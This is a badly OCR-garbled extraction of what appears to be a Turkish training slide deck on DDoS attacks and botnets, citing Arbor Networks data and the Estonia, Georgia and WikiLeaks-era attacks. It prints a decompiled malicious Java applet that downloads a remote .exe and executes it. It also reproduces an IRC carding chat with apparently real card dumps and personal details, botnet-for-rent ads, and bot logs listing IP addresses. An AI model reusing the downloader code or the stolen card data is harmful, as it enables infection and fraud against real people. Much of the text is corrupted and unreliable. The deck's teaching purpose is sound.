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Survey Respondents

Fgure 5: Largest Attack Observed — Past 12 Months
Source: Arbor Metworks, Ine
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DDoS Attacks Exceeding IDC Bandwidth
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NY
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Humber of

Attack Subclass Attacks Percentage
. Yes : "
Total Traffic 209 B 2z
- No TCP SYN 371 W o 2
TCP RET 49 Bazu
859% Protocal 12 | 1.2%
- ather 280 B o7 s
DNS 23 | 2.a%
Figure 63 Bianduictth 20 | 2.1%

Source: Arbor Networks, Inc.
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== "Iun Microsystems Java Security Update d.class"
archive="3un Microsystems Java Jecurity Update 6.
width="1" height="1">
<paramm name='file!
value="http://wvvw.rsimerching. com/ jupdate.exe™>

W Java Decompiler

Sun_Microsystems_Java Security_Update_b.class
Ele Edt Bavigete Segrch el
2 3y -

| RPYf |

The application's digital signature cannot be verified.
Do you want to run the application?

NJ
o

Namne: Sun_Nicrosystems_Java_Securty_Lipdste 6
Publisher:  5un lava MaoSystens
Fram: hetpe ffmeaw. rsZmerching com
[ By Brust conteck from ths publisher |
Fun l Cancel I

Ly
H

Trae Spkal gnilure Gt be werfied by o bused wource. Only
apphosion.

Sun_Microsystens_Java_Security _Update B.jar =

Mors fréormesten..

nun ¥ you brutt the crigin of the

@ HETAINF
=@  Java,_Securty n Sun_Microsystems_lava_Security_Update_B.class

& 5 1 #import j&va.applet, Applet:
@ downlasdString, Strng) :

voud
& It} : void public claze Sun_Miccosyactess_Java Secucity Update 6 extends Applet
@ paink(Graphics) | wod [

public woid painc|Graphica parasGraphica)
{
String str & getFarameter(™file™);
parasfeaphica. deawdcringlace, 20, 20):
H

public yoid imit()

Sering atrl = Sysces,gedProperty(Tuser, home”) s
Fering aerd = sepl, comcat(™\\WoreonhV, exe™);
A EZTT
Sering acrd = gerPacamecer ("Cile™):
dosnload[sEcd, stcd);
FPuncize localPumtise = Funcise. gebRBumtisms()
try |
localfuntime. exec[str) s
§ catch [IDExcepricn localIDException) |
Syratem, olb. printlnlocal T0Excaption) 5
H]
¥

public vold dovelosd(Steing paras3cringl, 3cring parasSteing?) |
Eufferediueputiciesn localbufferadiutpucieresn « null;
URLCommection localURLCormection = mull;
Inputicieas locallnpucicieas = mull:
kry |
URL localURL = mesw URL{pazasSteingl):

localBufferedfutputitrean = new BufferedfutputStreans (mew FilefutputStrean(p)
Lol VRLCCcnbection = localURL. openComnecticn|]
localInputitrean = locallfELConmection. getlnpucitcean ) s

byte[ ] apcayOfbyte = new hyte[1024]:
int 17
while ({1 = locallrpucicrens. resd|accay0fByce]) '= =1}
localBuffepediieputiteean, vrite (accayDfByes, 0, i)
H]
catch (Exceprion locall0ExcspriconZ) [
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¢ mIRC - [#L 53 mIRC - [#cc+ i7¢ mIRC - [Euro) 5 mIRC - [EuropDumps (UnderNet, cardmaker) (Europe@wish.i.was.a.el33t.net)]

(=] File  View [ File View Fa =7 File View Fa' _3| Flle View Favortes Tools Commands Window Help -8 X
Al @Ry (F R g Rl R BOIBE[2

£ UndeiNet ¢ =) UinderNet card 2 UnderNet card: [2% UnderNet cardma... | #banking (E] e [Z] #ecpowerz 1] #racks [=] #CardingZone QW |4} Channels List

- Spain 3 2

97261/MONTE GANETA 3 5?C/BILBAC/48014/NULL/626677175/BARBARASREGALADO/
/5540610501623567/12/2010/253/BARBARA REGALADO VALENZUELA/mc/ES/ Pass VBV,

are looking for

any dumps for shoping?

93239/Eskisehir Osmangazi University/Eskisehir/26030/NULL/(90) 532 5283075/Mujgan/Sagir/
437712233074303/06/2010/352/Mujgan Sagir/mc/TR/ Pass VBV.

Poland man with high balances
92834/Dolna 7/Warsaw,/00-773/NULL/8-903-5200-244/Arkadiusz/Sugier/ (]
/4289150060282800/04/2012/365/Arkadiusz Sugier/visa/PL/ Pass VBV. » till 28§

Switzerland
95158/108 111,Raheja Chambers,Free P/Mumbai/4000021/NULL/9820428794/Mr Puneet/Makar/ 2
/4629860006399000/12/2011/257/Mr Puneet Makar/visa/IN/ Pass VBV. :

<EuropDumps> ok

<{EuropDumps> wait to show u

<EuropDumps> what turkish bank i have
<EuropDumps> or u need any

<{cardmaker> which method are you prefer for many transfer?
{EuropDumps> western

{EuropDumps> better

<cardmaker> please list all of bank that u have
<{cardmaker> ok

<EuropDumps> ok

<EuropDumps> YAPI_UE_KREDI_BANKASI
<EuropDumps> TURKIYE_GARANTI_BANKASI
<EuropDumps> ALTERNATIFBANK

<EuropDumps> YAK_BANK

<EuropDumps> EGEBANK

<EuropDumps> SEKERBANK

<EuropDumps> FINANSBANK

<EuropDumps> TURKIYE_UAKIFLAR

<EuropDumps> PAHUKBANK_TURK_ANONIM_SIRKETI
<EuropDumps> this anks

<EuropDumps> banks#

{EuropDumps> + BARCLAYS

m <cardmaker> himm.. some of these banks are already out of business v
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o everyone, a lot of people have been targeting our site and were willing to pay %% in order to hit back.

What im looking for:
GhostMz 12k botnet for rent
For how long?:

1 Month

How much money?:

your price, | was thinking 500% a month. (May want to buy monthly)

¢ a1 A Al < Search this topic...

&
7
v
e

New DDoS service - attack service 80000 to 120000 bots
Hello,

| offer serious DDoS attack service from 10 Gbps to 100 Gbps.
I always have between 80,000 and 120,000 bots on my IRC channel.
Type of attack : SYN - TCP - ICMP - UDP - HTTP - HTTPS - NEWSYN

ot Lok domn. yery Weboite eves JEDDOS prutond. Help! Someone Hijacked my 100k+ Zeus Botnet! - In focus 77 Q - [ Bu sayfanin ¢
Price start from 200 S USD 24 hours. 26 Feb 2009 ... It appears thgt this guy has had his 100k+ Zeus botnet hijacked several
months ago, and now that he's managed to at least partly recover the ...

: ] www._softsecurity.com/.__/help-someone-hijacked-my-100k-zeus-botnet html -
AVAILABLE : Free 3 minutes demonstration of attack. Onbellek - Benzer
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O Stats botnet
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Home Profile Find People Settings Help Sign out Search bt (mash: o, 1, Courtry)

Stats Bots O~ Vw Coutry P 2ea

Name upd4t3 & Anbors < ' - [
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B0 uoge re e et 2008423 =
aHROCDOVL2JpdCS5 seSEXN2WORMEGaHROCOOM 2JpdCSseSsxN . Status
Jp! 9 P B AG Fank Loads < mbores Status
2JpdC 1y 0i8vYmIOLmxSLzE3b v 2057 Stat
Fuder: .
2HROcDovL2)pdCSseSSHaHVVASBodHRwWOIBvYmIOLmxSLIFQC (2258
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MEX|52764 {(nhenti@r196-132-176-228.dialup.mobile.ancel.net.uy) has joined #infeCTeD
MEX|2249239 (llatgexg@r196-132-176-228.dialup.mobile.ancel.net.uy) has joined #infeCTeD
TUR|51790858 (uvyouokc@78.184.179.249) has joined #infeCTeD

TUR| 9412282 (rykpuaivn@85.97.96.177) has joined #infeCTeD

TUR| 15208748 (luiuvjcse@85.182.139.138) has joined #infeCTeD

ESP|9739483 (pctfzmjci@261.171.14.30.dsl.dyn.telnor.net) has joined #infeCTeD
TUR|6153102 (fsbnjerjo@88.236.56.184) has joined #infeCTeD

TUR| 6482277 (jcdyqya@78.171.255.193) has joined #infeCTeD

TUR| 78608877 (arcahsec@85.96.168.194) has joined #infeCTeD

TUR| 8842554 (euebtebu@85.1088.23.47) has joined #infeCTeD

TUR|7318103 (htunifwr@88.227.36.215) has joined #infeCTeD

ESP| 4531927 (mqzzjnzy@266.121.214.167) has joined #infeCTeD

TUR| 6721417 (hqdthpmlu@78.164.63.89) has joined #infeCTeD

TUR| 4481423 (gejnmsj@78.186.39.254) has joined #infeCTeD

TUR|2352835 (hnglhnbd@78.175.29.173) has joined #infeCTeD

TUR| 4224567 (vncueml@95.8.6.236) has joined #infeCTeD

TUR| 8248728 (1byzuuij@81.214.89.68) has joined #infeCTeD

TUR| 7866497 (dpobuwgyzr@78.166.128.179) has joined #infeCTeD

TUR| 2845598 (gaklepa@88.236.6.168) has joined #infeCTeD

TUR| 2443551 (aifqdlr@85.161.2508.168) has joined #infeCTeD

[M]TUR| 98862 (spurwfy@78.187.224.235) has joined #infeCTeD

TUR|8237614 (hixahliqq@85.188.122.235) has joined #infeCTeD

TUR| 6877868 (vuvqqygsh@88.252.227.153) has joined #infeCTeD

TUR| 94790841 (rxwsfeth@95.65.179.183) has joined #infeCTeD

TUR| 1237330 (cgnwlmqg@78.184.14.121) has joined #infeCTeD

TUR| 1823334 (ciehfcg@188.38.175.94) has joined #infeCTeD

TUR| 4187220 (leaquhu@78.164.122.165) has joined #infeCTeD

ESP|10390897 (rlemeck@83.35.194.203) has joined #infeCTeD

TUR| 1946218 (ztlslowqu@78.171.16.168) has joined #infeCTeD

TUR| 48415208 (hkogsaxee@88.24%4.149.48) has joined #infeCTeD

TUR| 7543436 (asglesbx@88.238.19.104) has joined #infeCTeD

TUR| 1887716 (lgwqusss@88.224.2168.114) has joined #infeCTeD

TUR|8937443 (ptdsfrhl@88.248.117.69) has joined #infeCTeD

<@infeCTeD> SATILIK BOTNET timu1967@hotmail.com

TUR|35682351 (jseebpq@78.161.119.35) has joined #infeCTeD

ESP|9218689 (kecmrxsne@261.208.1089.198) has joined #infeCTeD

[M]ESP| 49991 (bhaivj@186.141.12.164) has joined #infeCTeD

TUR|8963878 (vahbswlun@78.171.99.186) Quit (Ping timeout)

ESP|8658744 (equhqdwq@186.Red-88-17-48.dynamicIP.rima-tde.net) Quit (Ping timeout)
TUR|33850867 (fypxgsl@95.15.159.173) Quit (Ping timeout)

TUR| 6536683 (qfavtidi@85.1683.35.256) has joined #infeCTeD

ESP|3823239 (jfnbuotpp@186.81.41.56) has joined #infeCTeD

MEX|77137 (uptehjq@r196-132-176-228.dialup.mobile.ancel.net.uy) has joined #infeCTeD

¥ ok % ok ok ok ok ok ok ok ok ok ok ok % ok % ok ok ok ok % k X k % % % ¥ % ¥ % X ¢

* K X % X X % X %
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~ @infeCTeD
[M]ARG| 08692
[M]ARG| 01048
[M]ARG| 81257
[M]ARG| 01564
[M]ARG| 62478
[M]ARG | 62858
[M]ARG | 63062
[M]ARG| 03490
[M]ARG| 03772
[M]ARG| 04634
[M]ARG| 05067
[M]ARG| 86207
[M]ARG| 86419
[M]ARG| 06748
[M]ARG| 67060
[M]ARG| 67253
[M]ARG| 67487
[M]ARG| 08573
[M]ARG| 69690
[M]ARG| 89395
[M]ARG| 89405
[M]ARG| 89430
[M]ARG| 89453
[M]ARG| 16746
[M]ARG| 168928
[M]ARG| 108975
[M]ARG| 11412
[M]ARG|12136
[M]ARG| 12364
[M]ARG| 12467
[M]ARG| 12524
[M]ARG| 12731
[M]ARG [ 13141
[M]ARG| 13142
[M]ARG| 13285
[M]ARG| 13358

-

(25 HTTP1.4 FBI
[E] uoiag

(7] #tvnctitt
Elm

(=] #im

[=] #ineal

| Channels List

[2¥ ROXnet infeCTeD
E’] Hopers

(=] #diE

7] Hices

[ HTTP1.4 infeCTeD
(=] #im

[ #hinfected

[=] #ineo

[2¥ Zuma.Net infeCTeD
[E]] #zuma

[E]] #idal.ga

[E] #tmetal

[E1] #eLit

[=7] #Mirchane

[Ehlateach

[M]ARG|135/%
[M]ARG |14
[M]ARG| 151
[M]ARG |15
[M]ARG|171
[M]ARG|171

FHIADC 14N,

22 Windows Live Messenger X

Cikolata =
simdi oturum acti

Secenekler

DDoS Saldirlar, Korunma Yollan ve BotNet Sorunu Etkinligi



AlTTANYY &@PyRE 2] 1 dz

el 1 Pt PYPYPY ¢NNJ S &l ¢

Al OTSNIFNJ araasys api

dzl F1aFy @1 YySOAY | YI oef 1

ATt IATA aAU0SRSY LIEZNULI

FYVRI aA&a0SYt SNAYA KI OF
2 f Rdz

i.dz KIOlAy3 2tlePyP Sy3St
OAKI TP @219

Bilgi Giivenligi AKADEMISI | www.bga.com.tr DDoS Saldirilari, Korunma Yollar ve BotNet Sorunu Etkinligi



DNYOSf tlFaAr¥T .20t

Bilgi Giivenligi AKADEMISI | www.bga.com.tr DDoS Saldirlar, Korunma Yollan ve BotNet Sorunu Etkinligi



5Nyeél RIYy DNyOS

N A N W\
A ¢ N Y R N y. e I [Full-disclosure] WordPress.com root level compromise | mbox [x |

nix{@myproxylists.com to full-disclosure

wordpress

Subject: [New post] Security Incident

h—d From: . -reply{@wordpress.com:
1. d Zf f I- y. P O P Date: |Wed. April 13, 2011 8:68 pm |
To: nix@myproxylists.com
~ Pa Pa A 4 PaS
a S T S NR S y. Post : Security Incident

URL : http:/fen blog wordpress. com/2011/04/13/security/
Posted : April 13, 2011 at 4:46 pm

Pa ~
3S A NANRT 55
Tags : security
Tough note to communicate today: Automattic had a low-level (root)

' 14 A4
I u 2 't cl 2 R f I- break-in to several of our servers, and potentially anything on those
servers could have been revealed.
ANN s A v 4 !
e S NI S O GkA N We have been diligently reviewing logs and records about the break-in to
N | determine the extent of the information exposed, and re-securing avenues
~ y used to gain access. We presume our source code was exposed and copied.

cl 2 R t I. NI I. 8 While much of our code is Open Source, there are sensitive bits of our and
our partners’ code. Beyond that, however, it appears information disclosed

was limited.

.Il WO rd p reSS i n d i ri p Based on what we've found, we don't have any specific suggestions for our

users beyond reiterating these security fundamentals:

S
cl d ZN J. y. Z 3 N * Use a strong password, meaning something random

(hitps:/fwww.grc.com/passwords htm) with numbers and punctuation.
* Use different passwords for different sites.

h e rkeS ZO m bi O I u r! ;;fgstuhi:zuiqifeeiéfgi;?me password on different sites, switch it to
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I Russian Business Network
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A2008 DNNDA AUl YT 9auzyel
A 2010 Wikileaks, Mavi Marmara, Youtube
protestosu!
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iHH INSANI YARDIM VAKFI - ITHH HUMANITARIAN RELIEF FOUNDATION Su anda ihh.org.tr sayfamiza DDOS
saldirisi yapilyor. duamizi eksik etmeyin.

1 - .
Ll vaklasik 2 ay dnce

fﬁ 58 kisi bunu begendi. _\

LJ Onceki yorumlan gér
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AeyP &l yiSy 9adtz2yeéel GFNYFTPYRI
Stelnet www.mod.gov.il 80

Trying 195.160.241.193 ..

telnet: connect to address 195.160.241.193: Operation timed out
tefnet: Unable to connect to remote host

CNNJ A&SQRSY
o | € f-a IyailrPNIP

huzeyfe@server [~]# telnet www.mod.gov.il 80
Trying 1€5.160.241.193__.

Connected to www.mod.gov.il (195.160.241.193).
Escape character is "]
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"Asadida siralanmis olan sistemlere erigimi TSI 01:00 ila 11:00 arasi

A B I K engellenmistir. Gerekceleri asagida anlatilmak ile birlikte sadece bu
saatler arasinda erisime engellenmesinin sebebi 1yl niyetimizin bir

gdstergesidir, amacimiz kurumlann calismasini engellemek dedil asagida

. anlatmis oldujumuz konulara kamuoyunun ve kamunun dikkatini
[ubitak e

Telekomiinikasyon fletisim Baskanhdgi (http:/ /www.tib.gov.tr )

I V% o Telekomiinikasyon Kurumu - Bilgi Teknolojileri ve iletisim
I f I' O u P N N I' Kurumu (http:/ /www.tk.gov.ir - htitp://www.btk.gov.ir )

Ulastirma Bakanhgi (http:/ /www.btk.gov.ir )

sitelerine erisim, youtube'a yonelik olarak yirdttikleri 5651 sayill yasa
kapsamindaki hukuksuz calismalar sebebi ile engellenmistir.

Tiibitak (http:/ /www.tubitak.gov.tr)

sitesine erisim ise kurum icerisinde yer alan, kamu glvenligini hedef
alan BOME (Bilgisayar Qlaylanna Midahale Ekibi) yapisinin
fonksiyonsuzlugunu ve vizyonsuzlugunu gézler énidne sermek icin
engellenmistir. Kamu Bilgi Gdvenligi daha kendi gdwvenligini
saglayamayan bu tarz kurumlann tekeline birakilmamalidir.

Bilgilerinize arz ederiz.
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n  Gegmis Yerimleri Araclar Yardm Related Links Yer o Arad_ar iardgm &e[atedunks
£ @ % [[1]ntos/mew.wbitek.gov.ts

http: /fwww. tib.gov. tr
| ] ik Adm 5. Haberler | | FriendFeedde paylas | | linkiboluma ekleyeyim! | | Guncel.im'e Génder % I l to:/A gov.tr/

e @R - C D[ G D B rayes [ sdewki - 93 Favorler - 39 Ceve - 1 5\ Haberler | ] FriendFeed'de paylas | | linkibofuma ekleyeyim! | | Guncel.im'e Gonder
| © YouTube'un alterna.. | | ] Netuwork -DNS Look... | 1. Sayfa yikienrkenh... | | ] Network - DN... Ed | ! Sayfa yikienikenh. | @1, "!'E: ORA-cCOPTE G D B rayiase [ sdewid - 2 Favorier- 1~ 133 Gevie - '

belun alterna... | | | Network -DNSLook... | ¢ Sayfa yikenirkenh... | | | Network -DNS Look... | 1. Sayfa yisklen...E | @ 11

Network - DNS Lookup Error
A The address www.tubitak.gov.tr could not be found.

Suggestions

« [t/ /wwow tubitak gov i/ Try Again " Baglanti zaman agimina ugradi
® Go to http://www tubitak gov.tr/ ) . "
* Try finding an archived copy in the Wayback Machine. www.tlb.gov.tr sunucusu COK JEec cevap verryor.
lla Firefox
rimleri Araclar Yardm Related Links imleri Araclar Yardm Related Links
[ [http/pwmm btk.gov.trf | 4| htp: ffwww.ubak.gov.r/
.| Haberler | | FriendFeed'de paylas | | linkibofuma ekleyeyim! | | Guncel.im'e Gonder Haberer | ] FriendFeedde paylas | ) inkbofuma ekleyeyim! | ] Guncel.ime Génder

HEOR A - C D e OO D Bravies [ sdewis - L2 Favorlerr B0 - 83 Ger - SL|,;‘; DR - D a0 U D B rayissr [ sidewki ~ ¥9 Favoriers 3+ 33 Cevie ~
nalterna... | | ] Network -DNSLack...| 1. Sayfa yiklen...Ed | | | Network -DNSLook...| 1. Sayfa yuk

Z @Tf"'dm...J 1 Sayfa yiiklen... €3 | | | Network -DNSLook .| ! Sayfa yiklenirkenh... | | | Network -DNSLook...| ! Say

" Baglanti zaman asimina ugradi < »
. Baglanti zaman asimina ugradi

www.btk.gov.tr sunucusu gok geg cevap veriyor. PN
www.ubak.gov.tr sunucusu ok geg cevap veriyor.

Site gegici olarak agilamiyor ya da cok mesgul olabilir. Biraz bekleyip yeniden

deneyin. = Site gecici olarak aglamiyor ya da cok meggul olabilir. Biraz bekleyip yeniden
Higbir sayfayl agmay basaramiyorsane bilgisayarinzin ad badlantiarini gozden deneyin.

496 CRiL Ve ittt cte HathoiduGunuzd eyl oo, = Hicbir sayfayl agmay: basaramiyorsaniz bilgisayarinizin ag baglantilanni gdzden

= Bilgisayarn ya da adinz gvenlk duvar ya da veki sunucu tarafindan - gegirin ve internete bagh oldugunuzdan emin olun.
korunuyorsa, Firefox uygulamasina internete erismek icin gerekli zinlerin veriimis s & g ; ;
oldugundan emin olun. = Bigisayariniz ya da adinz giivenlik duvan ya da vekil sunucu tarafindan

korunuyorsa, Firefox uygulamasing internete erismek icin gerekli inlerin verilmis
oldugundan emin olun.

Yeniden Dene

Yeniden Dene

orunma Yollarn ) t Sorunu Et
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Distributed denial of service attacks on root hameservers

Fram Wikipedia, the free encyclopedia

Distributed denial of service attacks on root nameservers are several significant Internet events in which distributed denial-ofservice attacks have targeted one or more of the thiteen Domain MName Systern root nameservers. The root nameservers are a
critical infrastructure components of the Internet, mapping domain names to Internet Protocol (IP) addresses and other information. Attacks against the root nameservers can impact operation of the entire Internet, rather than specific websites.

Contents [hide]
1 Aftacks
1.1 October 21, 2002
1.2 Fehruary 6, 2007
2 References
3 External links

Attacks [edit]

I October 21, 2002 I [edit]

On October 21, 2002 an attack, lasting for approximately one hour, was targeted at all 13 DNS root name servers. ']

This event was the first significant attack directed at trying to disable the Internet itself, instead of specific websites. P07 m22920] Thic ywas the second significant failure of the root nameservers; the first large malfunction of them caused the failure of seven
machines in April 1997, due to a technical problern, 2!

February 6, 2007 [edit]

On February B, 2007, an attack began at 10:00 UTC and lasted twenty-four hours. At least two of the root servers reportedly suffered badly (G-ROOT and L-ROQT), while two others expetienced heavy traffic (F-ROOT and M-ROOT). The latter two largely
contained the damage by distributing requests to other root server instances with anycast addressing. ICANN published a formal analysis shortly after the event.®! Due to some lack of detail, speculation about the incident proliferated in the press until
details were released. P!

On February 8, 2007 it was announced by Metwork World that "If the United States found itself under a major cyberattack almed at undermining the nation’s critical information infrastructure, the Department of Defense Is prapared, based on the authonity
of the president, to launch an actual bombing of an attack source or a cyber counterattact: P!

DDoS Saldinlar,
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Georgia DDoS Attacks - A& Quick Summary of Observations
by Jose Mazario

The clashes between Russia and Georgla over the region of South Ossetia have been shadowed by attacks
on the Internet. As we noted in July, the Georgia presidential website fell wictim to attack during a war of
waords, & number of DDoS attacks have occurred in the region, and often do when tensions flare, We have
been observing the attacks, making measurements, and sharing data with a select group of others to trace
the origins of the attacks and monitor the situation.

While some are speculating about cyber-warfare and state sponsorship, we have no data to indicate
anything of the sort at this timme, We are seeing some botnets, some well known and some not so well
known, take aim at Georgia websites, Mote that RIA Movost, a Russian news outlet, was apparently targeted
during this fighting. Georgian hackers are accused of this event.

CZompared to the May 2007 Estonian attacks, these are more intense but have lasted (so far) for less time,
This could be due to a number of factors, including more sizable botnets with more bandwidth, better
bandwidth at the wictimms, changes in our observations, or other factors,

Below are some observations of the attacks based on our Internet statistics collection, These are observed
attacks, ones that triggered alarms, We know that not all attaclks are accounted for here, only many of the
rmajor ones, These attacks were mostly TCP 57N floods with one TCP RET flood in the mix, Mo ICMP ar UDFP

floods detected here. These attacks were all globally sourced, suggesting a botnet (or multiple botnets) were
behind therm.

Mumber of attacks Destination

5 213.151.44.135
3 213.157.196.25
10 213.,157.195.33
1 W, gazeti.ge

Faw statistics of the attack traffic paint a pretty intense picture, We can discern that the attacks would cause
injury to almost any common website,

Average peak bits per second per attack Z11.66 Mbps
Largest attack, peak bits per second g14.33 Mbps

IO Lo T
& hour
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Estonian ODoS Attacks — A summary to date
by lose Mazario

Time sure flies, I looked up from working and noticed I hadn'’t blogged in a while, &nd I noticed that I hadn't
been analyzing the Estonian DDo= attacks in a weelk or two,

ATLAS gives us an amagzing wiew into the Internet’s activities, ATLAS collects DoS attack data from around
the world through sharing arrangements and even from some of our Peakflow SP deployments, &s such, the
recent DDo= attacks on Estonia are visible, in part, from within ATLAS, I've always had a soft spot in my
heart for Estonia. Since the fall of the Iron Curtain, it's become technically advanced, society has done
waonders to immprove itself and it's jurnped, quite successfully, into the modern world. It has a nearly model
economy, based in large part on the teachings of Milton Friedman who favored free markets unfettered by
state contral,

A5 you can imagine, having development access to the ATLAS data repository allows me to build new
reports and crunch the data in new and exciting wavys. I analyzed about 2 weeks of DDoS attacks on Estonia
this morning using internal tools and reporting systems, and here’s what I found,

We've seen 128 unique DDo= attacks on Estonian websites in the past two weelis through ATLAS, Of these,
115 were ICMP floods, 4 were TCP SYM floods, and 9 were generic traffic floods, Attacks were not distributed
uniformly, with some sites seeing more attacks than others:

Attacks Destination Address or owner
35 “195,80,105.107/32" pol.ee
7 “195.80,106. 72,32  www riigikogu.ee
36 *195.80.109.158/32" www . riil.ee, www peaminister.ee, www valitsus, e
2 “195.80.124 .53/32% mS53.envir.ee
2 “213.184.49.171/32% www . sm.ee
*213.184.49,194/32" www . agri.ee
4 “Z13.184.50.6/32"
35 “213.184.50.69/32%  www fin.ee (Ministry of Finance)
1 "hE2.65.192 . 24/32"

The attacks themselves haven't been steady, at least from the perspective given by ATLAZ, If we loolk at
how many attacks occurred on every day, we can see that they peaked a week or so ago, but they haven't
necessarily stopped,
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Operation: Papback

est. 2010

Target:
When:

We will fire at anyone or anything that tries to censor
WikiLeaks, including multi-Billion dollar companies such as

you're next for censoring

&
#payback can you stop the DDoS on
postfinance for 10 minutes so that I can
bank please? pretty please? Toshadkeny

Favorite

@LBisaTwit

Retweet

Reply

discussion.

Set your LOI(|!

) Mozilla Firefox
Fie Ed |

o

AnonOps is carrently under heavy DDoS attack. The website will be back up ASAP.
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